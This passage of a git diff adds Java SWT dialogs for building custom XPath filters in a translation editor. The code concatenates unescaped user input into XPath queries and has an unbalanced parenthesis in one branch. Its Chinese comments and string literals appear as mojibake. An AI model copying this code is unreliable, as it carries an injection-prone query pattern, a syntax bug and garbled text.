+ return; + } + } + refresh(); + } + }); + Button delCustom = new Button(cmpBtn, SWT.PUSH); + delCustom.setText(Messages.getString("dialog.CustomFilterDialog.delCustom")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.FILL).applyTo(delCustom); + delCustom.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + String[] filters = customFilterList.getSelection(); + if (filters != null && filters.length > 0) { + if (MessageDialog.openConfirm(getShell(), "", Messages.getString("dialog.CustomFilterDialog.msg2"))) { + for (int i = 0; i < filters.length; i++) { + customFilters.remove(filters[i]); + customFiltersAddition.remove(filters[i]); + customFiltersIndex.remove(filters[i]); + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorReference[] editors = page.getEditorReferences(); + for(IEditorReference ef : editors){ + IEditorPart editor = ef.getEditor(false); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + Combo cb = ((XLIFFEditorImplWithNatTable) editor).getFilterCombo(); + if(cb != null && !cb.isDisposed()){ + cb.remove(filters[i]); + } + } + } + } + } +// cmbFilter.remove(filters[i]); + customFilterList.remove(filters[i]); + XLFHandler.getFilterMap().remove(filters[i]); + } + PreferenceStore.saveMap(IPreferenceConstants.FILTER_CONDITION, customFilters); + PreferenceStore.saveCustomCondition(IPreferenceConstants.FILTER_CONDITION_INDEX, + customFiltersIndex); + } + } else { + MessageDialog.openInformation(getShell(), "", Messages.getString("dialog.CustomFilterDialog.msg3")); + } + } + + }); + + Button editCustom = new Button(cmpBtn, SWT.PUSH); + editCustom.setText(Messages.getString("dialog.CustomFilterDialog.editCustom")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.FILL).applyTo(editCustom); + editCustom.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + edit(); + } + }); + + Composite cmpRight = new Composite(tParent, SWT.NONE); + cmpRight.setLayout(new GridLayout(1, true)); + cmpRight.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Composite top = new Composite(cmpRight, SWT.NONE); + top.setLayout(new GridLayout(2, false)); + top.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + new Label(top, SWT.NONE).setText(Messages.getString("dialog.CustomFilterDialog.topLbl")); + filterNameTxt = new Text(top, SWT.BORDER); + filterNameTxt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + filterNameTxt.forceFocus(); + top = new Composite(cmpRight, SWT.NONE); + top.setLayout(new GridLayout(2, false)); + top.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + andBtn = new Button(top, SWT.RADIO); + andBtn.setText(Messages.getString("dialog.CustomFilterDialog.andBtn")); + andBtn.setSelection(true); + orBtn = new Button(top, SWT.RADIO); + orBtn.setText(Messages.getString("dialog.CustomFilterDialog.orBtn")); + scroll = new ScrolledComposite(cmpRight, SWT.V_SCROLL | SWT.BORDER); + scroll.setAlwaysShowScrollBars(true); + scroll.setLayoutData(new GridData(GridData.FILL_BOTH)); + scroll.setExpandHorizontal(true); + scroll.setExpandVertical(true); +// scroll.setSize(500, 200); + dynaComp = new Composite(scroll, SWT.None); + scroll.setContent(dynaComp); + dynaComp.setLayout(new GridLayout(1, true)); + new DynaComposite(dynaComp, SWT.NONE); + return parent; + } + + /** + * 编辑 + */ + private void edit() { + String[] filters = customFilterList.getSelection(); + if (filters.length > 0) { + if (isChange()) { + if (!MessageDialog.openConfirm(getShell(), "", Messages.getString("dialog.CustomFilterDialog.msg1"))) { + return; + } + } + String key = filters[0]; + filterNameTxt.setText(key); + String link = XLFHandler.getCustomFilterAdditionMap().get(key); + if (link.indexOf("and") != -1) { + andBtn.setSelection(true); + orBtn.setSelection(false); + } else { + andBtn.setSelection(false); + orBtn.setSelection(true); + } + + for (Control ctl : conditionList) { + if (!ctl.isDisposed()) { + ctl.dispose(); + } + } + conditionList.clear(); + ArrayList tmpList = XLFHandler.getCustomFilterIndexMap().get(key); + for (String[] tempIndex : tmpList) { + String filterIndex = tempIndex[0]; + DynaComposite dyna = new DynaComposite(dynaComp, SWT.NONE); + dyna.getFilterName().select(Integer.parseInt(filterIndex)); + dyna.getFilterName().notifyListeners(SWT.Selection, null); + if ("0".equals(filterIndex) || "1".equals(filterIndex)) { // 关键字ã€æ‰¹æ³¨ + dyna.getConditions().select(Integer.parseInt(tempIndex[1])); + dyna.getValue().setText(tempIndex[2].replace("0x0020", " ")); + dyna.getValue().setForeground(black); + } else if ("2".equals(filterIndex)) { // 属性 + dyna.getPropName().setText(tempIndex[1]); + dyna.getPropValue().setText(tempIndex[2]); + dyna.getPropName().setForeground(black); + dyna.getPropValue().setForeground(black); + } + } + scroll.setMinSize(dynaComp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + dynaComp.layout(); + } else { + MessageDialog.openInformation(getShell(), "", Messages.getString("dialog.CustomFilterDialog.msg4")); + } + } + + /** + * 查看当å‰çŠ¶æ€æ˜¯å¦ä¸ºæ–°å¢ž + * @return 当å‰çŠ¶æ€æ˜¯å¦ä¸ºæ–°å¢ž + */ + private boolean isAdd() { + return !XLFHandler.getCustomFilterMap().containsKey(filterNameTxt.getText()); + } + + /** + * 刷新过滤器设置组件 + */ + private void refresh() { + filterNameTxt.setText(""); + andBtn.setSelection(true); + orBtn.setSelection(false); + for (Control ctl : conditionList) { + if (!ctl.isDisposed()) { + ctl.dispose(); + } + } + conditionList.clear(); + new DynaComposite(dynaComp, SWT.NONE); + scroll.setMinSize(dynaComp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + dynaComp.layout(); + + } + + /** + * åˆå§‹åŒ–自定义过滤器列表 + * @param comp + * 父容器 + */ + private void initCustomFilterList(Composite comp) { + customFilterList = new List(comp, SWT.MULTI | SWT.V_SCROLL | SWT.H_SCROLL | SWT.BORDER); + GridData gridData = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + gridData.widthHint = 110; + gridData.heightHint = 250; + customFilterList.setLayoutData(gridData); + setListData(customFilterList, customFilters); + customFilterList.addMouseListener(new MouseAdapter() { + @Override + public void mouseDoubleClick(MouseEvent e) { + edit(); + } + + }); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + Button okBtn = getButton(IDialogConstants.OK_ID); + okBtn.setText(Messages.getString("dialog.CustomFilterDialog.okBtn")); + Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); + cancelBtn.setText(Messages.getString("dialog.CustomFilterDialog.cancelBtn")); + } + + @Override + protected void cancelPressed() { + close(); + } + + @Override + public boolean close() { + if (isChange()) { + if (MessageDialog.openConfirm(getShell(), "", Messages.getString("dialog.CustomFilterDialog.msg5"))) { + return super.close(); + } + } else { + return super.close(); + } + return false; + } + + /** + * 查看在新增和编辑状æ€ä¸‹å†…容是å¦æœ‰å˜åŒ– + * @return 内容是å¦æœ‰å˜åŒ– + */ + private boolean isChange() { + boolean result = false; + if (isAdd()) { + if (!filterNameTxt.getText().trim().equals("")) { + result = true; + } + if (andBtn.getSelection()) { + if (conditionList.size() > 1) { + result = true; + } else { + DynaComposite comp = conditionList.get(0); + if (comp.getFilterName().getSelectionIndex() != 0) { + result = true; + } else { + if (comp.getConditions().getSelectionIndex() != 0) { + result = true; + } else { + if (!comp.getValue().getText().equals(initValue)) { + result = true; + } + } + } + } + } else { + result = true; + } + } else { + String orignXpath = XLFHandler.getCustomFilterMap().get(filterNameTxt.getText()); + StringBuilder xpath = new StringBuilder(); + String link = andBtn.getSelection() ? " and " : " or "; + for (DynaComposite comp : conditionList) { // 得到所有自定义æ¡ä»¶ç»„åˆçš„xpath + String tempXpath = comp.getXpath(false); + if (RESULT_FAILED.equals(tempXpath)) { + result = true; + } + xpath.append(tempXpath).append(link); + } + if (xpath.length() > 0) { + xpath.delete(xpath.length() - link.length(), xpath.length()); + result = !orignXpath.equals(xpath.toString()); + } + + } + return result; + } + + @Override + protected void okPressed() { + String filterNameStr = filterNameTxt.getText(); + if (filterNameStr == null || "".equals(filterNameStr)) { + MessageDialog.openInformation(getShell(), "", Messages.getString("dialog.CustomFilterDialog.msg6")); + return; + } + StringBuilder xpath = new StringBuilder(); + String link = andBtn.getSelection() ? " and " : " or "; + ArrayList tempValue = new ArrayList(); + for (DynaComposite comp : conditionList) { // 得到所有自定义æ¡ä»¶ç»„åˆçš„xpath + String tempXpath = comp.getXpath(true); + if (RESULT_FAILED.equals(tempXpath)) { + return; + } + xpath.append(tempXpath).append(link); + tempValue.add(comp.getTempIndex()); + } + if (xpath.length() > 0) { + if (isAdd()) { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorReference[] editors = page.getEditorReferences(); + for(IEditorReference e : editors){ + IEditorPart editor = e.getEditor(false); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + Combo cb = ((XLIFFEditorImplWithNatTable) editor).getFilterCombo(); + if(cb != null && !cb.isDisposed()){ + cb.add(filterNameTxt.getText()); + } + } + } + } + } +// cmbFilter.add(filterNameTxt.getText()); + } else { + XLFHandler.getFilterMap().put(filterNameTxt.getText(), xpath.substring(0, xpath.lastIndexOf(link))); + } + customFilters.put(filterNameStr, xpath.substring(0, xpath.lastIndexOf(link))); + customFiltersAddition.put(filterNameStr, link.trim()); + customFiltersIndex.put(filterNameStr, tempValue); + PreferenceStore.saveMap(IPreferenceConstants.FILTER_CONDITION, new TreeMap(customFilters)); + PreferenceStore.saveMap(IPreferenceConstants.FILTER_CONDITION_ADDITION, customFiltersAddition); + PreferenceStore.saveCustomCondition(IPreferenceConstants.FILTER_CONDITION_INDEX, customFiltersIndex); + reload(); + } + } + + /** + * é‡æ–°åŠ è½½è‡ªå®šä¹‰è¿‡æ»¤å™¨åˆ—表数æ®å’Œåˆ·æ–°å³ä¾§è¿‡æ»¤å™¨è®¾ç½®ç»„件 + */ + private void reload() { + setListData(customFilterList, XLFHandler.getCustomFilterMap()); + refresh(); + } + + /** 自定义æ¡ä»¶ç»„件列表. */ + private ArrayList conditionList = new ArrayList(); + + /** 过滤器æ¡ä»¶æ•°æ®. */ + static LinkedHashMap filterNameData = new LinkedHashMap(); + /** æ¡ä»¶æ•°æ®. */ + static LinkedHashMap conditionsData = new LinkedHashMap(); + /** åªåŒ…å«ç›¸ç­‰ä¸Žä¸ç›¸ç­‰çš„æ¡ä»¶æ•°æ®. */ + static LinkedHashMap equalsConditionsData = new LinkedHashMap(); + static { + String[] tmpValue = new String[] { Messages.getString("dialog.CustomFilterDialog.tmpValue1"), + Messages.getString("dialog.CustomFilterDialog.tmpValue2"), + Messages.getString("dialog.CustomFilterDialog.tmpValue3") }; + for (int i = 0; i < tmpValue.length; i++) { + filterNameData.put(i, tmpValue[i]); + } + conditionsData.put(0, Messages.getString("dialog.CustomFilterDialog.contain")); + conditionsData.put(1, Messages.getString("dialog.CustomFilterDialog.uncontain")); + conditionsData.put(2, Messages.getString("dialog.CustomFilterDialog.eq")); + conditionsData.put(3, Messages.getString("dialog.CustomFilterDialog.neq")); + equalsConditionsData.put(0, Messages.getString("dialog.CustomFilterDialog.eq")); + equalsConditionsData.put(1, Messages.getString("dialog.CustomFilterDialog.neq")); + // String[] states = { "new", "final", "translated", "signed-off", "needs-adaptation", + // "needs-review-adaptation", + // "needs-l10n", "needs-review-l10n", "needs-translation", "needs-review-translation" }; + // for (int i = 0; i < states.length; i++) { + // stateData.put(i, states[i]); + // } + + } + + /** + * 动æ€è‡ªå®šä¹‰æ¡ä»¶ç»„件 + * @author Leakey + * @version + * @since JDK1.6 + */ + class DynaComposite extends Composite { + + /** 过滤器列表控件. */ + private Combo filterName; + /** 判断æ¡ä»¶åˆ—表控件. */ + private Combo conditions; + /** 一般文本框. */ + private Text value; + /** +按钮. */ + private Button addBtn; + /** -按钮. */ + private Button reduceBtn; + + /** 属性å与值文本框容器. */ + private Composite propComp; + /** 属性å文本框. */ + private Text propName; + /** 属性值文本框. */ + private Text propValue; + + /** 当å‰é€‰ä¸­çš„过滤器是å¦æ˜¯ï¼ˆå…³é”®å­—ã€æ‰¹æ³¨ç­‰ï¼‰. */ + private boolean isOther = true; + + /** 当å‰é€‰ä¸­çš„过滤器是å¦æ˜¯å±žæ€§. */ + private boolean isProp = false; + + private String[] tempIndex = null; + + /** + * 获å–当å‰è®¾ç½®æƒ…况(用æ¥ä¿å­˜åœ¨é¦–选项中刷新时候用) + */ + public String[] getTempIndex() { + return tempIndex; + } + + /** + * 获å–å­è¿‡æ»¤å™¨å称列表组件 + */ + public Combo getFilterName() { + return filterName; + } + + /** + * 获å–æ¡ä»¶ç»„åˆ + */ + public Combo getConditions() { + return conditions; + } + + /** + * 获å–属性å组件 + */ + public Text getPropName() { + return propName; + } + + /** + * 获å–属性值组件 + */ + public Text getPropValue() { + return propValue; + } + + /** + * 获å–一般值组件 + */ + public Text getValue() { + return value; + } + + /** + * @param parent + * @param style + */ + public DynaComposite(Composite parent, int style) { + super(parent, style); + init(); + conditionList.add(this); + } + + /** + * 销æ¯é™¤äº†â€œè¿‡æ»¤å™¨åˆ—表控件â€ä¹‹å¤–的其它控件 + */ + private void disposeChild() { + for (Control ctl : this.getChildren()) { + if (!"filterName".equals(ctl.getData()) && ctl != null && !ctl.isDisposed()) { + ctl.dispose(); + } + } + } + + /** + * åˆå§‹åŒ–自定义æ¡ä»¶ç»„件 + */ + private void init() { + this.setLayout(new GridLayout(5, false)); + this.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + initFilterName(); + initConditions(true); + initTxt(); + initBtn(); + } + + /** + * åˆå§‹åŒ–“+â€ï¼Œâ€œï¼â€æŒ‰é’® + */ + private void initBtn() { + addBtn = new Button(this, SWT.None); + addBtn.setText("+"); + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + new DynaComposite(dynaComp, SWT.NONE); + scroll.setMinSize(dynaComp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + dynaComp.layout(); + } + }); + reduceBtn = new Button(this, SWT.None); + reduceBtn.setText("-"); + reduceBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + conditionList.remove(DynaComposite.this); + DynaComposite.this.dispose(); + scroll.setMinSize(dynaComp.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + dynaComp.layout(); + } + }); + if (conditionList.size() > 0) { + if (conditionList.get(0).equals(this)) { + reduceBtn.setEnabled(false); + } else { + reduceBtn.setEnabled(true); + } + } else { + reduceBtn.setEnabled(false); + } + } + + /** + * åˆå§‹åŒ–一般文本框 + */ + private void initTxt() { + value = new Text(this, SWT.BORDER); + if(filterName.getSelectionIndex() == 1){ + setGray(value, initValue); + value.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + return; + } + value.setForeground(gray); + value.setText(initValue); + value.addFocusListener(new FocusListener() { + public void focusLost(FocusEvent arg0) { + if (value.getText().equals("")) { + if (!value.getForeground().equals(gray)) { + value.setForeground(gray); + } + value.setText(initValue); + } else { + if (!value.getForeground().equals(black)) { + value.setForeground(black); + } + } + } + + public void focusGained(FocusEvent arg0) { + if (value.getText().equals(initValue)) { + value.setText(""); + value.setForeground(black); + } else { + if (!value.getForeground().equals(black)) { + value.setForeground(black); + } + } + } + }); + value.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + } + + /** + * åˆå§‹åŒ–属性å和属性值两个文本框 + * @param comp + * 文本框父容器 + */ + private void initPropTxt(Composite comp) { + propName = new Text(comp, SWT.BORDER); + GridData data = new GridData(115, SWT.DEFAULT); + propName.setLayoutData(data); + setGray(propName, initPropName); + propValue = new Text(comp, SWT.BORDER); + setGray(propValue, initPropValue); + propValue.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + } + + /** + * åˆå§‹åŒ–判断æ¡ä»¶åˆ—表控件 + * @param isContain + * 是å¦å…·æœ‰åŒ…å«ä¸Žä¸åŒ…å«æ¡ä»¶ + */ + private void initConditions(boolean isContain) { + conditions = new Combo(this, SWT.READ_ONLY); + conditions.setLayoutData(new GridData(100, 35)); + + if (isContain) { + setComboData(conditions, conditionsData); + } else { + setComboData(conditions, equalsConditionsData); + } + conditions.select(0); + + } + + /** + * åˆå§‹åŒ–过滤器列表控件 + */ + private void initFilterName() { + filterName = new Combo(this, SWT.READ_ONLY); + filterName.setLayoutData(new GridData(80, 35)); + setComboData(filterName, filterNameData); + filterName.setData("filterName"); + filterName.select(0); + filterName.addSelectionListener(new SelectionAdapter() { + private boolean isState() { + return filterName.getSelectionIndex() == 1; + } + + private boolean isProp() { + return filterName.getSelectionIndex() == 2; + } + + private boolean isOther() { + return !isState() && !isProp(); + } + + private void createProp() { + disposeChild(); + initTempComp(); + initPropTxt(propComp); + initBtn(); + } + + private void createOther() { + disposeChild(); + initConditions(true); + initTxt(); + initBtn(); + } + + private void initTempComp() { + propComp = new Composite(DynaComposite.this, SWT.READ_ONLY); + GridData gd = new GridData(GridData.FILL_HORIZONTAL); + gd.horizontalSpan = 2; + propComp.setLayoutData(gd); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(propComp); + } + + @Override + public void widgetSelected(SelectionEvent e) { + if (!isProp && isProp()) { + createProp(); + isProp = true; + isOther = false; + } else/* if (!isOther && isOther())*/ { + createOther(); + isOther = true; + isProp = false; + } + DynaComposite.this.layout(); + } + }); + } + + /** + * å–å¾—xpathæŸ¥è¯¢è¯­å¥ + * @return xpathæŸ¥è¯¢è¯­å¥ + */ + public String getXpath(boolean withNotice) { + StringBuilder re = new StringBuilder(); + int contain = 0; + int notContain = 1; + int equal = 2; + int notEqual = 3; + int condition = -1; + if (conditions != null && !conditions.isDisposed()) { + String temp = conditions.getItem(conditions.getSelectionIndex()); + // if (temp.indexOf("ä¸") != -1) { + // if (temp.indexOf("包å«") != -1) { + // condition = notContain; + // } else { + // condition = notEqual; + // } + // } else { + // if (temp.indexOf("包å«") != -1) { + // condition = contain; + // } else { + // condition = equal; + // } + // } + // modify by peason --->2012-07-07 + if (temp.equals(Messages.getString("dialog.CustomFilterDialog.uncontain"))) { + condition = notContain; + } else if (temp.equals(Messages.getString("dialog.CustomFilterDialog.neq"))) { + condition = notEqual; + } else if (temp.equals(Messages.getString("dialog.CustomFilterDialog.contain"))) { + condition = contain; + } else if (temp.equals(Messages.getString("dialog.CustomFilterDialog.eq"))) { + condition = equal; + } + } + + if (isOther) { + String txt = value.getText().trim(); + if (filterName.getSelectionIndex() == 0) { // 关键字 + txt = value.getText(); + if (txt.equals("") || txt.equals(initValue)) { + if (withNotice) { + MessageDialog.openInformation(getShell(), "", + Messages.getString("dialog.CustomFilterDialog.msg7")); + } + return RESULT_FAILED; + } + if (condition == contain) { + re.append("contains(source/text(), '").append(txt).append("')"); + } else if (condition == notContain) { + re.append("not(contains(source/text(), '").append(txt).append("'))"); + } else if (condition == equal) { + re.append("source/text()='").append(txt).append("'"); + } else if (condition == notEqual) { + re.append("source/text()!='").append(txt).append("'"); + } + txt = txt.replace(" ", "0x0020"); + } else if (filterName.getSelectionIndex() == 1) { // 批注 + if (txt.equals("") || txt.equals(initValue)) { + if (withNotice) { + MessageDialog.openInformation(getShell(), "", + Messages.getString("dialog.CustomFilterDialog.msg8")); + } + return RESULT_FAILED; + } + + if (condition == contain) { + re.append("contains(note/text(), '").append(txt).append("')"); + } else if (condition == notContain) { + re.append("not(contains(note/text(), '").append(txt).append("'))"); + } else if (condition == equal) { + re.append("note/text()='").append(txt).append("'"); + } else if (condition == notEqual) { + re.append("not(note/text()='").append(txt).append("'))"); + } + } + tempIndex = new String[] { filterName.getSelectionIndex() + "", conditions.getSelectionIndex() + "", + txt }; + } else if (isProp) { // 属性 + String propNameStr = propName.getText().trim(); + String propValueStr = propValue.getText().trim(); + if (propNameStr.equals("") || propNameStr.equals(initPropName)) { + if (withNotice) { + MessageDialog.openInformation(getShell(), "", + Messages.getString("dialog.CustomFilterDialog.initPropName")); + } + return RESULT_FAILED; + } + if (propValueStr.equals("") || propValueStr.equals(initPropValue)) { + if (withNotice) { + MessageDialog.openInformation(getShell(), "", + Messages.getString("dialog.CustomFilterDialog.initPropValue")); + } + return RESULT_FAILED; + } + re.append("hs:prop-group/hs:prop[@prop-type='").append(propNameStr).append("']='").append(propValueStr) + .append("'"); + tempIndex = new String[] { filterName.getSelectionIndex() + "", propNameStr, propValueStr }; + } + return re.toString(); + } + } + + /** + * 设置Comboä¸‹æ‹‰åˆ—è¡¨ä¸­çš„æ•°æ® + * @param combo + * 下拉列表 + * @param data + * æ•°æ®ã€key=索引,value=显示的文字 + */ + private void setComboData(Combo combo, Map data) { + for (Entry entry : data.entrySet()) { + combo.add(entry.getValue(), entry.getKey()); + } + } + + /** + * 为Listç»„ä»¶è®¾ç½®æ•°æ® + * @param list + * @param data + */ + private void setListData(List list, Map data) { + list.removeAll(); + if (data == null || data.size() == 0) { + return; + } + for (Entry entry : data.entrySet()) { + list.add(entry.getKey()); + } + } + + /** + * 为Text控件增加ç°è‰²æ醒,获得焦点时自动清除ç°è‰²æ醒 + * @param text + * Text控件 + * @param initTxt + * ç°è‰²æ醒字符串 + */ + private void setGray(final Text text, final String initTxt) { + text.setForeground(gray); + text.setText(initTxt); + text.addFocusListener(new FocusListener() { + public void focusLost(FocusEvent arg0) { + if (text.getText().trim().equals("")) { + if (!text.getForeground().equals(gray)) { + text.setForeground(gray); + } + text.setText(initTxt); + } else { + if (!text.getForeground().equals(black)) { + text.setForeground(black); + } + } + } + + public void focusGained(FocusEvent arg0) { + if (text.getText().trim().equals(initTxt)) { + text.setText(""); + text.setForeground(black); + } else { + if (!text.getForeground().equals(black)) { + text.setForeground(black); + } + } + } + }); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/CustomMatchConditionDialog.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/CustomMatchConditionDialog.java new file mode 100644 index 0000000..22d282f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/CustomMatchConditionDialog.java @@ -0,0 +1,1044 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.Map.Entry; +import java.util.TreeMap; + +import net.heartsome.cat.ts.core.bean.Constants; +import net.heartsome.cat.ts.core.file.IPreferenceConstants; +import net.heartsome.cat.ts.core.file.PreferenceStore; +import net.heartsome.cat.ts.core.file.XLFHandler; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.VerifyEvent; +import org.eclipse.swt.events.VerifyListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.List; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 定制匹é…æ¡ä»¶å¯¹è¯æ¡†(此类未使用,因此未åšå›½é™…化) + * @author Leakey + * @version + * @since JDK1.5 + */ +public class CustomMatchConditionDialog extends Dialog { + + /** 自定义过滤器列表. */ + private List customFilterList; + /** 对è¯æ¡†å†…容区域. */ + private Composite tParent; + + /** 自定义控件滚动æ¡å®¹å™¨. */ + private ScrolledComposite scroll; + /** 自定义控件容器. */ + private Composite dynaComp; + + /** 过滤器å称文本框. */ + private Text filterNameTxt; + /** 满足所有æ¡ä»¶æŒ‰é’®. */ + private Button andBtn; + /** 满足任一æ¡ä»¶æŒ‰é’®. */ + private Button orBtn; + + /** 首选项中ä¿å­˜çš„已有的自定义过滤æ¡ä»¶. */ + private LinkedHashMap customFilters = XLFHandler.getCustomMatchFilterMap(); + + /** 首选项中ä¿å­˜çš„已有的自定义过滤æ¡ä»¶ï¼ˆé™„加信æ¯ï¼‰. */ + LinkedHashMap> customFiltersAddtion = XLFHandler.getCustomMatchFilterAdditionMap(); + + /** 首选项中ä¿å­˜çš„已有的自定义过滤æ¡ä»¶ï¼ˆåˆ·æ–°ç•Œé¢ä½¿ç”¨ï¼‰. */ + private LinkedHashMap> customFiltersIndex = XLFHandler.getCustomMatchFilterIndexMap(); + /** 标记的匹é…按钮. */ + private Button btnIsTagged; + /** 快速翻译匹é…按钮. */ + private Button btnQT; + /** 自动ç¹æ®–翻译匹é…按钮. */ + private Button btnPT; + /** 从æ¥æºä¸­åˆ é™¤æŒ‰é’®. */ + private Button btnIsRemoveFromSrc; + /** 选中“标记的匹é…按钮â€çš„值. */ + private int btnIsTaggedCheck = 1 << 1; + /** 选中“快速翻译匹é…按钮â€çš„值. */ + private int btnQTCheck = 1 << 2; + /** 选中“自动ç¹æ®–翻译匹é…按钮â€çš„值. */ + private int btnPTCheck = 1 << 3; + /** 选中“从æ¥æºä¸­åˆ é™¤æŒ‰é’®â€çš„值. */ + private int btnIsRemoveFromSrcCheck = 1 << 4; + + /** + * 得到标记的匹é…ã€å¿«é€Ÿç¿»è¯‘匹é…ã€è‡ªåŠ¨ç¹æ®–翻译匹é…ã€ä»Žæ¥æºä¸­åˆ é™¤å››ä¸ªæŒ‰é’®çš„选择情况 + * @return 选择组åˆçš„结果 + */ + private int getCheck() { + int result = 1 << 5; + if (btnIsTagged != null && btnIsTagged.getSelection()) { + result = result | btnIsTaggedCheck; + } + if (btnQT != null && btnQT.getSelection()) { + result = result | btnQTCheck; + } + if (btnPT != null && btnPT.getSelection()) { + result = result | btnPTCheck; + } + if (btnIsRemoveFromSrc != null && btnIsRemoveFromSrc.getSelection()) { + result = result | btnIsRemoveFromSrcCheck; + } + return result; + } + + /** ç°è‰². */ + private Color gray; + /** 黑色. */ + private Color black; + + /** 自定义æ¡ä»¶ç»„件列表. */ + private ArrayList conditionList = new ArrayList(); + + /** 一般文本框输入æ醒. */ + private final String initValue = "请输入值"; + + /** 验è¯å¤±è´¥. */ + private static final String RESULT_FAILED = "FAILED"; + + /** + * @param shell + */ + public CustomMatchConditionDialog(Shell shell) { + super(shell); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText("自定义删除匹é…æ¡ä»¶"); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + Button okBtn = getButton(IDialogConstants.OK_ID); + okBtn.setText("ä¿å­˜"); + Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); + cancelBtn.setText("关闭"); + } + + /** + * 删除ä¿å­˜åœ¨é¦–选项中的所有与指定æ¡ä»¶ç›¸å…³çš„æ•°æ® + * @param key æ¡ä»¶å + */ + private void deletePreference(String[] key) { + if (key == null || key.length == 0) { + return; + } + for (int i = 0; i < key.length; i++) { + customFilters.remove(key[i]); + customFiltersAddtion.remove(key[i]); + customFiltersIndex.remove(key[i]); + customFilterList.remove(key[i]); + } + PreferenceStore.saveMap(IPreferenceConstants.MATCH_CONDITION, customFilters); + PreferenceStore.saveCustomCondition(IPreferenceConstants.MATCH_CONDITION_ADDITION, customFiltersAddtion); + PreferenceStore.saveCustomCondition(IPreferenceConstants.MATCH_CONDITION_INDEX, customFiltersIndex); + } + + @Override + protected Control createDialogArea(Composite parent) { + gray = parent.getDisplay().getSystemColor(SWT.COLOR_GRAY); + black = parent.getDisplay().getSystemColor(SWT.COLOR_BLACK); + tParent = (Composite) super.createDialogArea(parent); + tParent.setLayout(new GridLayout(2, false)); + tParent.setLayoutData(new GridData(720, 410)); + + Composite c = new Composite(tParent, SWT.BORDER); + c.setLayout(new GridLayout(2, false)); + c.setLayoutData(new GridData(200, 388)); + Composite c1 = new Composite(c, SWT.NONE); + c1.setLayout(new GridLayout(1, true)); + c1.setLayoutData(new GridData(150, 380)); + new Label(c1, SWT.NONE).setText("自定义过滤器:"); + initCustomFilterList(c1); + + Composite c2 = new Composite(c, SWT.NONE); + RowLayout rowLayout = new RowLayout(SWT.VERTICAL); + rowLayout.marginLeft = 0; + rowLayout.marginTop = 150; + rowLayout.spacing = 5; + c2.setLayout(rowLayout); + c2.setLayoutData(new GridData(50, 380)); + Button addCustom = new Button(c2, SWT.PUSH); + addCustom.setText("新增"); + addCustom.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + // 新增自定义过滤器方法 + if (isChange()) { + if (!MessageDialog.openConfirm(getShell(), "", "ä¸ä¿å­˜å½“å‰å†…容å—?")) { + return; + } + } + refresh(); + } + }); + Button delCustom = new Button(c2, SWT.PUSH); + delCustom.setText("删除"); + delCustom.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + // 删除已ä¿å­˜çš„自定义过滤器方法 + String[] filters = customFilterList.getSelection(); + if (filters != null && filters.length > 0) { + if 